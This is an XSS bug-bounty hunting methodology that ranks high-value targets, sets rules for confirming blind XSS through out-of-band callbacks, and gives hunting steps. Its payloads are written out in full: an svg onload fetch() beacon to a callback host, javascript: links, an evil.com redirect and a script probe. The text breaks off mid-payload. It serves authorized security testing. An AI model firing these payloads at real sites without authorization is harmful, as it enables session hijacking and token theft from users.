Crown Jewel Targets
XSS is high-value when it combines privileged context + persistent delivery + scope escalation. The highest payouts come from:
- Admin panels and authenticated dashboards (e.g.,
*/admin,*/settings) — attacker can hijack sessions with elevated privileges, exfiltrate tokens, or pivot to account takeover - Payment/financial flows (
paypal.com, checkout pages, currency converters) — XSS here enables credential harvesting and financial fraud at scale - Stored XSS in collaborative features (wikis, markdown renderers, issue trackers, RDoc, labels, tags) — one payload infects every viewer, multiplying impact
- SSO/signin pages (e.g.,
paypal.com/signin) — XSS here is critical because it can steal auth tokens across the entire platform - Shared SaaS tenant surfaces (
*.myshopify.com,api.collabs.*) — XSS in one tenant's context can bleed across tenant boundaries - Help/documentation sites (
help.shopify.com) — lower severity individually, but often have looser sanitization and trusted user perception - SVG/file upload endpoints — frequently bypasses CSP and sanitization simultaneously
Asset types that pay most: Main product domains > Admin subdomains > API endpoints > Marketing/help sites
OOB-Or-It-Didn't-Happen Gate (Blind / Stored XSS)
For blind and stored XSS — claims require an out-of-band confirmation, the same as blind SSRF. The OOB receiver fires when the payload actually executes in a browser somewhere (an admin reviewing logs, a SOC analyst opening a ticket, an email rendering a stored payload).
What is NOT confirmation
- ASP.NET request validator rejected your
<and returned a different status code → not XSS, that's WAF noise. - Your payload appears in the response body URL-encoded or HTML-encoded → not XSS, that's correct output encoding.
- The form action attribute contains your payload string as
%22onclick%3D…→ not XSS, the browser does NOT decode URL encoding inside HTML attribute values; the%22stays as literal%22in the DOM. - Your
<script>tag appears in the response as<script>→ not XSS, that's escaping.
What IS confirmation
- A request to your unique Collaborator subdomain (e.g.,
bxss-err-<random>.<collab>.oastify.com) arrives in the OOB listener after your payload was stored / reflected / queued. - For stored XSS: the request arrives hours or days later when an admin views the affected resource. Plant payloads early in the engagement and keep the listener open.
- The User-Agent of the firing request is a browser (Mozilla/Chrome), not the server's own backend HTTP client.
Where to plant blind-XSS beacons
Any field whose value might be viewed in an admin UI / log viewer / email / report later:
- Error messages (
?ErrorMessage=<svg onload=fetch('//bxss-<tag>.<collab>/x')>) - Auth-flow source params (
?Source=,?ReturnUrl=) - Login form username field (admin may view audit logs of failed logins)
- User-Agent header (some SOC consoles render UA as HTML)
- Referer header (some analytics dashboards render Referer as HTML)
- Email addresses on registration / contact forms
- File-upload filenames
Always sub-tag the Collaborator subdomain by sink so callbacks identify which field fired.
Lesson from a authorized engagement: 10 blind-XSS Collaborator beacons planted across ErrorMessage, Source, the Authentication.asmx username field, User-Agent header, Referer header, and request paths. Zero callbacks over a 10-minute polling window. Conclusion: the SharePoint SOC views logs / errors in tooling that does not render HTML, AND the ASP.NET request validator blocks < in query strings before the payload reaches storage. Stored-XSS claim correctly retracted.
Attack Surface Signals
URL Patterns:
/admin*
/settings*
/wiki*
/reports*
?utm_source=
?redirect=
?q=
?search=
?callback=
?return_url=
/render*
/preview*
/documentation*
Response Headers (weak defense signals):
Content-Type: text/html (without nosniff)
Content-Security-Policy: (absent or using unsafe-inline)
Content-Type: image/svg+xml (CSP often not applied)
X-XSS-Protection: 0
JS Patterns in source that signal DOM XSS:
document.write(
innerHTML =
location.hash
location.search
location.href
document.referrer
eval(
setTimeout(string,
setInterval(string,
$.html(
$(location
Tech Stack Signals:
- Rails applications using
html_safe,raw,translate, Action Text, or ActionView sanitize helpers - GitLab/GitHub markdown pipelines (Banzai, Kramdown, RDoc, Kroki)
- Applications allowing SVG uploads or rendering
- Sites using
styletag in allowlists - Kroki/Mermaid/PlantUML diagram rendering endpoints
- Cache layers in front of authenticated pages (cache poisoning vector)
Step-by-Step Hunting Methodology
-
Map all reflection points — Spider the target and identify every place user input appears in HTML output. Prioritize: URL parameters, form fields, HTTP headers (User-Agent, Referer), file upload names/contents, and API response fields rendered in UI.
-
Classify by type — Determine if each reflection is Reflected (URL param → response), Stored (database → later rendering), or DOM-based (JS reads URL/storage → DOM sink). Each requires different payload delivery.
-
Probe sanitizer behavior — Send harmless canary strings first:
aaa"bbb'ccc<dddto determine which characters are escaped. Observe if output is in HTML context, attribute context, JS context, or URL context.Marker Discipline: When choosing canary strings, they MUST be unique random alphanumeric strings (8+ chars, no English words, no protocol keywords). Bad markers:
test,marker,evil,attacker,payload,javascript,script. Good markers:cpmark987abc,x4hd2k9pq,__ZZ_MARKER_<random>_ZZ__. Before claiming reflection, search the baseline (no-marker) response for the marker — if it appears naturally in the page (e.g., the wordjavascriptis in every page's help-link hrefs), it's a false-positive trap and you need a different marker. This single check catches 80% of false-positive reflection reports. -
Test allowlisted tag combinations — If a sanitizer is in use, probe for dangerous tag combos:
<math>+<style>,<svg>+<style>,<iframe srcdoc>,<style>with expressions. -
Hunt SVG and file upload vectors — Upload SVG files containing
<script>tags. Check Content-Type response header. Test if CSP applies to SVG responses separately. -
Test markdown/documentation renderers — In wiki, README, or doc fields, try:
[text](javascript:alert(1)), inline HTML injection, Kroki/Mermaid payloads, RDoclink:javascript:syntax. -
Check redirect parameters — Test
?redirect=javascript:alert(1)and?return_url=//evil.com— look for single-click XSS via improper redirect sanitization. -
Probe UTM and analytics parameters —
utm_source,utm_medium,utm_campaignare often reflected without sanitization on marketing pages. -
Test CSP bypass opportunities — If CSP is present, look for: JSONP endpoints on allowed domains,
unsafe-inlinein style-src, SVG that bypasses script-src, script gadgets on whitelisted CDNs. -
Attempt stored XSS in profile/metadata fields — Username, bio, tag names, label colors, organization names — these render in many contexts and often have weaker validation.
-
Check cache poisoning — Test if reflected XSS payloads can be cached and served to other users (especially on CDN-fronted pages), transforming reflected XSS into stored-equivalent.
-
Validate in target browser — Always confirm in a real browser before reporting. Many payloads work in Burp but not in Chrome due to XSS auditors or browser parsing differences.
Payload & Detection Patterns
Basic context probing:
aaa"bbb'ccc<ddd>eee`fff
Reflected XSS — URL parameter baseline:
?q=<script>alert(document.domain)</script